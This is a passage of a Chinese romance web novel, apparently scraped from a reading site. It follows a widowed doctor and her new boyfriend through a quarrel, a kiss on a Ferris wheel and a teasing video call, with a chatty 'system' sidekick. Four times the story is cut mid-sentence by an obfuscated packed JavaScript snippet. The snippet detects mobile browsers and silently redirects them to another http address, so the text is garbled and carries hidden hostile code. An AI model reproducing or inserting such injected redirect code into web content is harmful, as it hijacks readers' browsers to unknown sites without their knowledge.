即使面对亡夫的妹妹,曲江吟也毫不扭捏,她主动将手搭在徐逸风的胳膊上,红唇微勾,大大方方地承认道:“是啊,他叫徐逸风,如你所见,我俩正在约会,没想到咱们想到一块儿去了,都把约会地点选在了游乐园。” 她的话犹如一滴水,坠入林楚暻那颗装满偏见的心,激起比飞溅的热油还要猛烈的嫌恶。 她怎么好意思当着歆语的面说出这种话的?不怕伤了歆语的心吗? 林楚暻扭头望向别处,貌似被某种动静吸引了,其实他这么做纯粹是为了掩饰自己愈发难看的表情。 他的敌意瞒得过所有人,却瞒不过系统。 系统的处理器瞬间被问号刷屏,这货是不是有什么毛病?他凭啥敌视它的宝贝宿主? 于是它一边给曲江吟打小报告,一边用干扰脑电波的方式诱导林楚暻说出他内心最真实的想法。 林楚暻的理智登时被怒火焚烧殆尽,他转过脸,恶狠狠地瞪着曲江吟,咬牙切齿地诘问道:“你怎么能只顾自己快活,不顾歆语的感受呢?” 他骤然发难,让原本正在互相打招呼的徐逸风和安歆语不约而同地露出摸不着头脑的惊异神情。 有了系统的提醒,曲江吟倒是没那么吃惊,但她心里同样特别纳闷,她俩不是刚刚才认识吗?林楚暻为啥会对她心存敌意呢? “你说的是人话吗?我咋听不懂呢?我怎么就不顾歆语的感受了?你给我说清楚!” “歆语那么尊敬你这个嫂子,那么羡慕你和她哥之间深厚的感情,结果她哥去世不过半年,你就找好了下家,心安理得地和别的男人成双入对,还被她撞个正着,你让她怎么想?” 林楚暻的话不亚于一枚炸/弹,炸得安歆语脑瓜子嗡嗡作响,强烈的愤怒冲出胸腔,随着她高亢的声音脱口而出:“你在胡说什么???” 徐逸风来不及为安歆语和曲江吟的姑嫂关系感到讶异,就被林楚暻看似替安歆语打抱不平、实则狗拿耗子道德绑架的言辞挑起了怒火,他果断挡在曲江吟身前,冷冷地盯着林楚暻,驳斥道:“江吟的事,轮不到你来置喙!” 曲江吟唇角微弯,勾出嘲讽的弧度,用打量物件的眼神将林楚暻从头到脚扫了一遍,“你希望我守一辈子寡就直说,别扯上歆语的名头。别人是一石二鸟,你是一屎二搅,不仅恶心了我,还把歆语恶心得够呛!我不了解你,但我了解歆语,她跟你交朋友可不是为了让你在我面前指手画脚大放厥词的!” 林楚暻又气又急,当即不管不顾地反驳道:“谁希望你守一辈子寡了?你这是恶意揣测!我说的都是事实,怎么可能恶心到歆语?真正令她深感恶心的人是你才对!谁让你拉着别的男人在她面前秀恩爱的?” “够了!”安歆语垂在身侧的双手微微颤抖,鼻根和眼眶都酸涩得要命,愤怒和失望犹如夏日骤雨,将她淋得狼狈不堪,“林楚暻,真正胡乱揣测的人是你!我没你想的那么狭隘!过去的幸福是用来缅怀的,现在的幸福才是值得把握的。我希望吟姐能够幸福顺遂地度过一生,而不是沉湎于过去,终生被遗憾包围。” 林楚暻脸色骤变,惊恐刷上去的白直接覆盖了愤怒染上去的红,他正欲开口解释,安歆语却扭过头不再看他,泪光闪闪饱含惭愧的双眼直直地望向曲江吟,“抱歉,吟姐,坏了你们的心情。” 为了单独把话和林楚暻说清楚,也为了让他赶紧从曲江吟眼前消失,说完她转身就走。 林楚暻满脑子只想着如何才能挽回自己的形象,根本顾不上曲江吟和徐逸风,连忙尾随她离去。 等她们走后,曲江吟捏了捏徐逸风的手臂,好像完全没有被刚才的事情影响一样,脸上挂着和煦的笑容,嘴里说着轻松的话语:“你饿不饿?想不想去吃饭?” 徐逸风又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322434|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻,自然能看得出她这么说是希望刚才的事就此翻篇儿,他不想坏了她的心情,便不再纠结那个男的为何会突然发癫。 “别说,我还真有点儿饿了,走吧,咱们去餐厅吧,”说着,他十分自然地牵起曲江吟的手,朝路边的指示牌走去,想看看餐厅在哪儿,“刚才我特别担心咱们四个会被人围观,没想到附近的游客这么淡定,根本不在意别人是不是吵起来了,看来是我多虑了。” 不懂谦虚为何物的系统,立刻牛气哄哄地说:“哼!这都是我的功劳!看出殡不嫌殡大的人多了去了,要不是我及时开启防护屏障,降低你们的存在感,你们就等着被别人拍下来再发到网上吧。” “大概是因为穿cos服的演员太有魅力,人们都忙着去找他们互动,没人注意到咱们这边发生了啥,再说,争吵顶多持续了两三分钟,人们来不及围观也正常。” 曲江吟回复完徐逸风,才乐滋滋地向系统道谢:“谢谢你,我的贴心小棉袄,等我啥时候混成院长了,一定赏你个副院长当当!” “不愧是我的宿主,画饼画得如此娴熟!” 溜须拍马需要极高的情商,系统显然没有,导致它不像在拍马屁,更像在阴阳怪气。 曲江吟心头那点感激顷刻间消失得无影无踪,“不会拍马屁就别拍。” “哦,”系统低低地应了一声,接着它又换了个话题,“徐逸风好迟钝啊,他长得那么惹眼,到哪儿都能吸引一票人的目光,我刻意把他的存在感弄得很低,以防不识相的人跑过来打扰你们,谁料他全程都贼拉适应,难道他没发现盯着他看个不停的人比平常少了许多吗?” “没准儿是发现了也不在意呢。” “嗯,有道理,他跟你在一起,光顾着开心了,哪顾得上留意别人有没有盯着他不放呢!” “这话我爱听。”曲江吟不禁露出灿烂的笑容。 见状,徐逸风不明所以地问了一句:“怎么了?忽然笑得那么开心。” 看着他俊朗如玉的脸庞,曲江吟蓦地冒出一个逗弄他的点子。 她眨了眨满是狡黠的眼睛,直接复述了某部电影的名台词:“我想起一件高兴的事情。” “什么事?”徐逸风的好奇心如同套在打气筒上的气球,迅速膨胀起来。 曲江吟朝他勾了勾手指,“你把耳朵凑过来,我悄悄跟你说。” 他没有多想,乖乖照做。 “一想到你马上就要脸红了,我就高兴得不行。”说罢,她踮起脚尖,飞快地在他脸颊上亲了一口。 疑惑还没来得及在他脸上安家落户呢,就被汹涌而来的激动和羞赧吓得落荒而逃。 “干得漂亮!!!”系统兴奋极了,在半空中变出一个只有曲江吟能看见的大拇指emoji。 “你……”徐逸风只发出一个音节便卡壳了。 你什么呢?你干嘛?感觉怪怪的,像在撒娇,你真坏!更奇怪了,你怎么这样?听起来像是在埋怨,他明明乐在其中,怎么可能心存埋怨? 曲江吟单手叉腰,一脸得意,“正所谓来而不往非礼也,之前你在密室里亲了我一口,现在我亲回来也很合理吧?” 17. 017 早知道她会亲回来,他当时多亲几口该多好。 “合理。”徐逸风眼似秋波,两颊微红,她想怎么亲、亲几口都合理。 他这副任她施为的样子,像极了温顺黏人任撸任亲的猫咪,要不是场合不对,她真想抱着他狂亲。 她抬起手臂,用食指的指背轻巧地剐了一下徐逸风的脸颊,随后将食指移到他眼前,笑眯眯地打趣道:“你放心好了,我今天涂的是一支贼难卸的唇釉,不会在你漂亮的脸蛋上留下痕迹的。” 徐逸风盯着她艳若玫瑰的唇瓣,脑子里想的全是“接吻也不会掉色吗”,心脏怦怦乱跳,仿佛不蹦出胸腔不罢休似的。 曲江吟往前迈了一小步,一副要贴到他身上的架势,却并没有真的贴住他,她仰头直视着他深邃的眼睛,嘴角扯出一抹意味深长的笑容,无比笃定地说:“我知道你在想什么。” 话毕,她不等徐逸风做出反应,便后退一小步,拉开距离,用食指的指尖轻戳自己殷红的嘴唇,“这支唇釉即使接吻也不会掉色哦,不信……” 说到这儿,她顿了一下,扭头望向别处,徐逸风顺着她的视线望过去,发现那边矗立着高耸入云的摩天轮,随后,她的未尽之言如同邪神的触手,强势钻入他的耳朵,在他脑子里肆意妄为,伙同他的谷欠望,折磨他的理智。 “待会儿可以去那儿试试。” 激动和羞赧卷土重来,在他脸上开起了party。 一个简简单单的“好”字,他嗫喏了半天才说出口。 眼瞅着他脸红得都快滴血了,系统忍不住嘀咕道:“他不是个鳏夫吗?怎么在你面前总是表现得跟个纯情少男似的?” “不知道,可能是没见过我这种喜欢打直球的人吧?不过,我就喜欢挑逗纯情的男人,他们的反应太有趣了!” 身为一个言出必行的人,曲江吟果断牵住徐逸风的手,故意用正经得不能再正经的神情,说着令人想入非非的话语:“走吧,先去吃饭,吃饱了才有力气干别的事情。” 徐逸风下意识望向摩天轮,怕她觉得自己猴急,又火速收回视线,结果和她促狭的目光撞了个正着。 意识到自己刚才的举动全被她看在了眼里,他呼吸一滞,脸部烫得都快冒烟儿了。 他扭过头,不想让她目睹自己的窘态。 曲江吟轻笑一声,秉承着张弛有度的原则,不再盯着他看,好让他慢慢放松下来。 她认真瞅了瞅前面的指示牌,拉着他朝餐厅走去。 吃饭的时候,安歆语给她发了几条微信,第一条是“crush变成trash了”,后面都是哭泣的表情包。 她正准备安慰对方,手机屏幕上又嗖的一下跳出几行文字——根据运气守恒定律,既然霉运缠上了我,那么幸运就会找上你,我遇到了trash,你遇到的就是treasure,好好约会吧,不用回复我啦,发完牢骚我心里舒服多了,爱你呦,么么哒! 她会心一笑,回了一个发射爱心的表情包,便放下手机,专注干饭。 徐逸风的心神不在眼前的美味佳肴上,他的魂儿早已被摩天轮勾走。 他明明滴酒未沾,却始终处于醺醺然的状态,迷离的眼神时不时就会落在曲江吟身上,可当她看过来时,他又会匆匆移开视线。 次数多了,曲江吟既觉得好笑,又倍感无语,为了治好他“醉饭”的毛病,她一改食不言的习惯,直接放了个大招,“你看这事儿闹的,我没想到你饿的不是肚子,早知道你这么想吃了我,来这儿之前我就该问问你,是先吃饭呢,还是先吃我呢?” 这招的效果立竿见影,徐逸风晕晕乎乎的脑袋立刻变得无比清醒,愧意压过羞耻感,将道歉的话语送出嘴边,“抱歉,我没能控制好自己的情绪,影响了你的心情,真是不好意思!” 虽然徐逸风陷入那副古怪的状态,完全是曲江吟的锅,但她才不会认为自己有错,要怪就怪他经不起撩拨吧。 她不仅坦然接受了他的歉意,还摆出一副大度的姿态,“没事儿,你先吃吧,我去一下卫生间。” 再难卸的唇釉沾到油都得乳化脱色,所以吃饱喝足之后,她必须去卫生间补妆。 等她出来时,徐逸风已经结过账了,正静静地站在离卫生间门口不远的地方等着她。 她走到徐逸风身前,双眼微眯,故作神秘地问道:“难道你没觉得少了什么吗?” “少了什么?”徐逸风眨了眨眼,满脸疑惑。 “当然是饭后甜点啊。” 他正打算去找服务员问一下这里卖不卖甜品,却被曲江吟开口阻止。 “等会儿,我这儿有。” 说着,她从包里取出一包口香糖,撕开包装,抽出两条,一条递给徐逸风,一条留给自己。 “给你,饭后甜点。” 尽管随身携带口香糖很可能只是她的习惯,徐逸风的心还是猛地一颤。 她准备的可真周到,像是早就打定主意要和自己接吻一样。 他强装镇定,伸手接过口香糖,揭开包装纸,塞进嘴里。 “至于我为什么会带这个,”曲江吟捏着口香糖在他眼前晃了晃,视线从他的眼睛挪到嘴巴,停了一秒又挪回眼睛,“当然是蓄谋已久啦。” 清凉在口腔嬉戏,甜蜜一股脑地涌入心房。 她的话犹如一阵微风,吹皱他春水般的眼眸,层层涟漪荡漾开来,看得她心里痒痒的。 她情不自禁地揽过他的胳膊,把头靠在他的肩头,貌似没话找话实则别有深意地问道:“你会不会觉得我不够矜持啊?” 他想也没想就反驳道:“当然不会,你什么样子我都……” 话说到一半,他就卡住了,倒不是害羞到连“喜欢”都说不出口,而是实在没想到自己竟然差点儿用随意的语气对她说出这个词。 顺口说出去的喜欢如何能代表他的心意? 见他这么容易就上套了,曲江吟笑得眉眼弯弯。 她斜跨一步,拧过身子,站到和他面对面的方位,抬头凝望着他的眼睛,像个手持捞鱼网兜、紧盯咬钩鱼儿的垂钓者,不疾不徐地追问道:“你都什么?” 徐逸风虽然害羞,却十分坚定地扣住她圆润的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324107|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩头,和她四目相对,掷地有声地说:“喜欢,你什么样子我都喜欢。” “好听,爱听,”曲江吟环住他的腰身,主动钻进他怀里,“以后要多多说给我听哦!” “我喜欢你,真的好喜欢你!”徐逸风如同怀抱珍贵的易碎品一般,将手轻轻按在她的脊背上,他嗅着她的发香,小小的心脏塞满了幸福,却仍叫嚣着不够,他还想要更多,想和她亲吻,想和她耳鬓厮磨,想和她做尽亲密的事。 他并非含蓄的性子,却几次三番在曲江吟面前露出扭捏的姿态。他其实不想这样,可架不住她喜欢啊,如果被她随意拿捏、肆意挑逗是他的宿命,那他甘愿认命。 【叮!您已获得99点好感值!】 “咦?你还能收集别人的好感?” 系统嘿嘿一笑,麻溜地否认道:“不能,我说着玩儿的,我是枭雌系统,不是攻略系统。宿主,你好厉害呀!我好激动啊!我好想尖叫,又怕吵到你,干脆用这种方法来宣泄心中的激动了!” “我谢谢你啊。”每次和系统说话,曲江吟都得竭力控制自己的眼睛,以免眼部的肌肉因不停地翻白眼而痉挛。 系统没听出她是在阴阳怪气,乐呵呵地回应道:“嗐!咱俩谁跟谁啊,别客气!你继续忙你的吧,有我在,绝对没人能打扰你们,嘿嘿~” 之后,曲江吟牵着满怀期待又紧张万分的徐逸风朝摩天轮进发。 摩天轮是热门项目,排队的人很多,她们等了一个多小时,才轮到她们。 进入座舱,曲江吟一屁股坐到座位上,揉了揉酸麻的膝盖,疲惫地吐槽道:“可算是上来了,我的腿都站麻了,工作日都得等这么久,节假日还不得等到天荒地老啊!” 徐逸风已经在心里对自己说了无数遍“不要紧张”了,效果还是有的,只不过是反的。 他拘谨地坐在曲江吟身旁,瞧瞧舱顶,瞅瞅窗外,就是不敢看她。 他倒是觉得等再久也值得,但他没好意思说出口。 “别怕,我不是美杜莎,看到我是不会变成石头的,所以……”她伸手钳住徐逸风的下巴,没怎么费力就把他的脸掰了过来,“看着我好吗?” 感受到他的顺从,曲江吟异常满意,一边端详着他的脸,一边抬起另一只手,轻柔地搭在他的后脖颈上。 她放开他的下巴,轻抚他的脸庞。 纤长的睫毛微微颤动,这是紧张在作祟,两颊的红晕逐渐扩散,这是羞涩在捣鬼。 她由衷地感慨道:“你可真会长,瞧瞧这脸型、这眉眼、这鼻子、这嘴巴,单拎出来好看,凑在一起更好看!” 溢美之词谁都爱听,徐逸风也不例外,喜悦迅速跑到他脸上,联合羞涩,替他驱赶讨嫌的紧张。 “你是不是贿/赂女娲了?不然她捏你的时候怎么这么用心?” 徐逸风笑得更灿烂了,没人能拒绝彩虹屁,尤其是有趣的彩虹屁。 “我发现你睫毛也蛮长的,你能不能闭上眼睛啊?我想看看你的睫毛有多长。” 他已经猜到她要干嘛了,却装作一无所知的样子闭上双眼。 18. 018 然而,出乎他意料的是,曲江吟仅仅用嘴贴了一下他的嘴唇便分开了,这和他想象中意乱情迷难舍难分的吻相距甚远。 就这? 他狐疑地睁开眼睛,却看到曲江吟再次亲了上来,也不知道是不是他的错觉,这次她亲的时间似乎长了那么一点点。 她好像在亲宠物似的,亲一下,分开,再亲一下,再分开。 虽然没他想的那么缠绵,但能跟她亲吻,他已经很开心了。 他搂住她纤细的腰肢,主动把脸凑过去,迎合她的亲亲。 正当他开始享受这种游戏般的亲亲时,曲江吟突然用舌尖舔了一下他的下嘴唇。 震惊如同转瞬即逝的闪电,短暂地照亮了他瞪大的双眼,他试着伸出舌尖回舔。 结果他刚张开嘴,曲江吟的舌头便溜了进去,霸道地邀请他的舌头在两人的口腔里共舞。 触电般的感觉眨眼间蔓延至全身,通常只有逢年过节才能看到的盛大烟花秀,此刻却在徐逸风的脑海里轰然开场。 本来按在她腰部的右手,直接挪到她的后脑勺,截断她往后躲的可能。 原本水波潋滟的眼睛被烈日般的情谷欠炙烤,逐渐露出幽暗的深渊,里面似乎藏着蓄势待发的野兽,散发着令人颤栗的气息。 眼见这个吻有“变质”的迹象,曲江吟赶紧抵住徐逸风的胸膛,让他停下来。 “你是不是忘了咱俩在哪儿了?”她抬手遮住那双明摆着想把她拉入谷欠海共赴极乐的眼睛,在他下巴上啄了一口,“乖,只能亲亲,不可以色/色哦~” 没想到性谷欠这么容易上头,同样容易上头的烈酒,跟它一比,简直是小儿科。 每个人对自己都有滤镜,但只有在滤镜碎掉的那一刻,人们才能意识到这点。 经过刚才的事,徐逸风已经意识到自己就是个俗人,以往引以为傲的自制力,不过是他给自己加的滤镜罢了。 他明知江吟只想要一个单纯又绵长的吻,却动了色/心。 尽管从她的反应来看,她似乎并没有对他仿若色/鬼上身的表现感到失望,他还是深感羞愧。 “抱歉,差点儿给你带来麻烦。”他抓住挡在眼前的手,略微下移,用嘴唇把自己的歉意印在她的掌心。 场合不对,时机也不行,曲江吟自然不会冒着两个人一起社死的风险去挑战他的自制力。 她抬手揽住他宽厚的肩膀,把下巴搁在他的颈窝,“亲亲不行,那就抱抱吧。” “好。”他暂且把脑中纷乱的思绪抛到一边,闭上双眼,静静地抱着她。 过了一会儿,曲江吟忽然直起身子,捧着他的脸,盯着他的眼睛,笑盈盈地说:“亲也亲了,抱也抱了,是时候给你个名分了,你……愿意当我的男朋友不?” 徐逸风呼吸一滞,瞳孔骤然扩大,一股莫名其妙的不真实感伴随狂喜笼罩他的心头。 他下意识收紧手臂,仿佛生怕这只是他的一场梦,眼前的曲江吟随时会消失一样。 表情肌被突如其来的惊喜砸懵的后果便是他那张常年被沉稳霸占的帅脸竟然破天荒地露出了呆萌的表情。 难得看到他如此呆萌的模样,曲江吟心里乐开了花,不过,为了满足自己的恶趣味,她故意板着脸质问道:“喂,你发什么愣啊?莫非你不愿意?” 没等他回话,她便伸手揪住他脸上的软肉,凶巴巴地说:“我不管,你已经是我男朋友啦!你愿意也得干,不愿意也得干!” “愿意!愿意!我怎么可能不愿意?没有立即回复是我的不对,我只是高兴过头了,原谅我好吗?” “这还差不多。”曲江吟揉了揉他的脸,乐滋滋地搂住他的肩膀,把下巴搁在他的颈窝,贴着他的耳朵,发出猫咪打呼噜的拟音。 绵延不绝的痒意如滚滚洪流涌向全身,徐逸风半边身子都麻了,难以言喻的舒爽很快便超出忍耐的阈值,如喷发的火山一般,冲出喉咙,挤出齿缝。 即便他反应迅速,果断捂住嘴巴,还是有些许微弱细碎的呻/吟钻入曲江吟的耳朵。 曲江吟不禁笑出了声,想不到小小的拟音居然有这么大的威力,她拍了拍他的肩膀,油腔滑调地调侃道:“你好敏感啊,这就受不了了吗?” 自觉丢人的徐逸风没办法找个地缝钻进去,干脆装起了鸵鸟,把头埋在她的颈窝。 “这有啥好害羞的?你的声音很好听啊,多倾听你的声音有利于我的耳部健康。”曲江吟摸了摸他的后脑勺以示安抚。 “是吗?”油然而生的欣喜驱散了徐逸风心中的尴尬。 “是啊,如果我耳朵不舒服了,你可得帮我好好治疗哦~”反正他也看不见她的表情,她直接放飞自我,笑得像个邪魅狂狷的反派。 又被她调/戏了,从来没人能像她一样,在正经和不正经之间丝滑切换,逗得他面红耳赤。不过,一想到这些露/骨的言语是她表达喜欢的方式,他便甘之如饴。 系统有点操守,但是不多,它没在两人打得火热的时候出声,却在两人沉浸于你侬我侬情意绵绵的氛围中时开始叨叨了。 “宿主,你又不养猫,为啥模仿小猫的呼噜声模仿的这么像呀?” “我曾经有一个梦想。”曲江吟答非所问。 系统顿时被带偏,反问道:“哦?什么梦想?” “去俄国猎/艳。” 没想到宿主这么有志向,系统忍不住赞叹道:“好想法!有志气!不愧是我的宿主!不过,这跟你能模仿小猫的呼噜声有关系吗?” “有啊,为了实现我的梦想,当初我还专门学过几天俄语,结果俄语没学会几句,倒是无师自通地学会拟音了。” 系统恍然大悟:“原来如此,真是有心栽花花不开,无心插柳柳成荫呐!你没学会俄语,却学会了拟音,你没法儿用俄语勾搭俄国的帅哥,却能用拟音和国内的帅哥调/情。” 曲江吟有些吃惊,这就是所谓的愚者千虑,必有一得吗?傻不愣登的系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330775|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能说出一针见血的话了。 其实徐逸风一开始没打算约曲江吟来游乐园,不止是因为他受不了惊险刺激的项目,还因为这里最负盛名的项目是帅哥NPC巡游。 他曾在曲江吟的朋友圈里看到过她跟帅哥NPC互动的合影,当时就妒意横生,恨不得钻进照片把那几个搔首弄姿的男人推得远远的。 一想到帅哥NPC,他的脑海里便浮现出一张精致的帅脸。 该死的柳琢玉!竟敢当着他的面勾搭江吟,如今他成了江吟的正牌男友,一定要狠狠地挫挫那货的锐气! 那货没准儿会出现在巡游的队伍里,徐逸风思索片刻,忽然想起最近在短视频平台刷到过不少情侣在NPC面前秀恩爱的视频,登时有了主意。 “江吟,你有没有看过情侣找NPC合影,却故意在对方面前亲吻秀恩爱的视频?” 曲江吟瞬间心领神会,清凌凌的眼睛满是讶异,她一直以为徐逸风是个沉稳内敛的人,没想到他也有玩性大发的时候。 “看过,看来大数据给咱俩打造的信息茧房差不多嘛,你突然问这个,不会是因为你也想这么玩吧?” “嗯。”徐逸风用脸蹭了蹭她的脖子,把“尤其想在柳琢玉面前抱着你亲”这句过分直白的话咽回肚子里。 “行啊。” 晚上七点,巡游正式开始。 徐逸风张望了半天,始终没有看见柳琢玉的身影。 不过,他没找着柳琢玉,却瞥见了张玮峘。 他仍然是那身血腥猎奇的小丑扮相,在一众古风扮相的NPC中尤为显眼。 曲江吟也注意到他了,高举手臂,朝他招了招手。 张玮峘一看,呦,这不是柳琢玉的心上人吗?当即屁颠儿屁颠儿地跑过来跟她打招呼。 徐逸风提出想跟他拍照留念时,他压根儿没有意识到对方没安好心,喜滋滋地答应了,心里还盘算着回去之后要拿着这张照片去柳琢玉面前大肆炫耀一番呢——瞧!虽然你没有要到女神的联系方式,但是我和她拍过照呀! 结果他刚摆好pose,正呲着大牙搁那儿乐呢,就被冷不丁亲在一起的徐逸风和曲江吟塞了一大把狗粮! 他嗷的一声喊了出来,音量之大,分呗之高,甚至盖过了围观群众的起哄声。 “来人呐!救命啊!有人虐狗啦!” 围观群众笑得更欢了…… 散场之后,张玮峘第一时间给柳琢玉发语音诉苦。 “那个姓徐的真不是个东西!居然当众虐狗!” 听完他这段没头没尾的话,刚结束一局游戏的柳琢玉震惊极了,急忙发语音问道:“虐狗?你看到他虐狗了?有没有拍下证据?” “我没拍,但是其他人拍了。” “当众虐狗?他怎么敢的?人面兽心的牲口!赶紧发过来,我要保留证据!” “发啥呀?我就是那条被虐得悲痛欲绝的单身狗!” 玉不琢不成器:??? 19. 019 “我真傻,真的,我单知道你肯定会羡慕我能和你的女神合影,却不知道姓徐的一肚子坏水,他故意当着我的面亲了她一口,当时我的心呐,啪叽碎了一地!我只是假扮成小丑,没想真的当小丑啊!” 了解到事情的来龙去脉之后,柳琢玉的心也快碎了,他咬牙切齿地回应道:“他有病吧!你又没招他没惹他,他干嘛要跟你过不去?一个大男人,心眼儿比针尖儿还小!草!” “兄弟,啥也别说了,你一定要撬了那家伙的墙角替我报仇雪恨啊!” …… 过了几天,徐逸风收到一个快递,是曲江吟送他的礼物,她神秘兮兮地说那东西贼拉好用,特别适合他,却不肯透露她买的到底是啥,摆明了想给他一个惊喜。 他满怀好奇与期待,慢条斯理地剪开快递包装袋,取出里面的纸盒。 从纸盒的大小和份量来看,里面装的必定是小物件。他拆开盒子,映入眼帘的是一张卡片以及装在透明塑料袋里的、类似表带的皮革制品。 卡片正面印着商品的名称和图片,原来她送的是衬衫夹,卡片背面有几行手写的文字,商家不止表达了谢意,还额外送了点儿东西。 徐逸风盯着“男士性/感胸带”这六个字,目光发直。 这究竟是商家自发的行为,还是江吟特意嘱咐商家这么做的? 他想不明白,干脆不想了,取出衬衫夹和胸带,打算去衣帽间试试。 他乘坐电梯来到三楼,穿过长长的走廊,行至堪比展览厅的衣帽间,走进陈列着衬衣的隔间。 衬衫夹确实如她所说,很适合他,胸带就不行了,又小又紧,他费了好大的劲儿才绑上,勒得他生疼,连呼吸都不顺畅了。 就在这时,他的手机响了,他拿过手机瞄了一眼,发现是曲江吟打来的视频通话,立马眉开眼笑地接通。 接通之后他才想起自己没穿裤子衣衫不整,脸上的笑容瞬间凝固,欣喜的眼神掺杂着微不可察的恐慌。 他连忙调整手机角度,让它对准自己的脸。 然而,眼尖的曲江吟早就看到他胸口锃亮的皮带了。 “怪不得你的身姿那么板正,敢情是因为背地里一直偷偷穿背背佳呀!” 说完,她又觉得哪里不对,脸上的揶揄转眼间被疑惑取代,“不对,背背佳好像不是这样式儿的,你穿的是啥呀?” 徐逸风没好意思说他把胸带绑身上了,顿了几秒,随口胡编道:“没啥,就是塑形用的东西,跟背背佳差不多。” 曲江吟双眼微眯,脸部的每一个细节都在无声地诉说着“你瞅我像是好糊弄的人吗”。 “啧!你的塑形方式还挺别致,不知道的,还以为你把裤腰带缠胸上了呢。” “不是腰带,是……是胸带。”徐逸风尴尬得脚趾头都蜷起来了。 “胸带?你穿它干嘛?”曲江吟满脸诧异。 看来这东西真是商家送的,他更尴尬了,他要怎么跟她解释呢? 以为是你送的,所以迫不及待地上身试试效果了? 这么说确定不会给她留下一个傻呆呆的印象? 见他似乎有什么难言之隐的样子,曲江吟没再追问,直接换了个话题,用关切的语气问道:“你不难受吗?那玩意儿看起来不太合身啊,我从手机屏幕上看都觉得它好紧。” 徐逸风低头看了一眼被胸带勒出凹痕的衬衣,想呼一口气,却被陡然加重的痛感弄得倒吸了一口凉气,他没再逞强,苦着脸说:“确实很紧,又勒又硬,我现在连深呼吸都做不了。” 曲江吟急忙催促道:“赶紧脱了吧,万一勒伤了怎么办?” 徐逸风心里涌出一股暖流,眼神也变得无比温柔。 “我还想把脸埋进去呢,你可不能随便受伤。” 暖流急速沸腾,源源不断的热气冲向他的脸庞。 他虽然害羞,却放下手机,三下五除二就把胸带解下来了,还顺带把衬衣最上面那颗扣子解开了。 曲江吟误以为他终于开窍了,要脱掉衬衫让她好好检查一番,激动地用双手捂住嘴巴,眼睛一眨不眨地盯着他,脑子已经在思索大饱眼福之后该如何给慷慨的男菩萨吹彩虹屁了,不料他根本没那个意思,害她白高兴了一场。 她默默把手移到眼睛上面,两只手各张开一个“V”字型的缝隙,露出两只乌溜溜的眼珠。 “怎么停了?继续呀,想知道自己有没有受伤,必须先脱掉衬衫啊!你放心好了,我保证不会偷看!”说着,她把手指并拢,隔了不到一秒,又迅速分开,圆圆的眼仁满是期待。 徐逸风被她这种“此地无银三百两”的行为逗乐了。 每次见到曲江吟,他的情绪都会脱离自己的掌控,任凭对方搓扁捏圆。 她随便一句话,一个动作都能让他脸红无措,他却从来没见过她羞红脸的样子。 想到这里,他刻意扯开领口,露出小半截锁骨,用低沉闷骚的声线说:“曲医生,如果你在我身边就好了,无论你怎么检查,我都会好好配合。” 曲江吟坐直身体,伸手把脸侧的头发往后一撩,微微一笑,一本正经地说:“没事儿,我从医数年,经验丰富,隔着屏幕也能看,请相信我的专业素养,来吧,你放心大胆地脱吧!” 撩拨不成反被调戏,徐逸风那双无处安放的手局促地撑在木制台面上,他看着手机里小小的曲江吟,露出无奈又羞涩的笑容。 “要不是你穿着衣服,我都要怀疑你是不是……” 她说前一句话时,徐逸风突然眼神飘忽,薄唇紧抿,明显是在心虚,见状,她立刻改口问道:“等会儿,你心虚啥呀?难不成你上半身穿了,下半身没穿?” 强烈的羞耻感犹如沾满腮红的化妆刷,欻欻两下就把他的脸刷得红扑扑的。 “我确实没……没穿裤子,不过我是在试用你送的衬衫夹。” 说前一句话时,他的声音细若蚊呐,说后一句话时,他的声音骤然变大,俨然一副生怕她误会的架势。 “哦?你猜猜我现在想干嘛。” 徐逸风顺着她的话想了一下,她八成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344950|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想看看他说的是不是真的,然后他的脑子就被汹涌而来的羞涩搅成了浆糊。 “你……你……我……我……”他期期艾艾了半天,愣是说不出一句完整的话来。 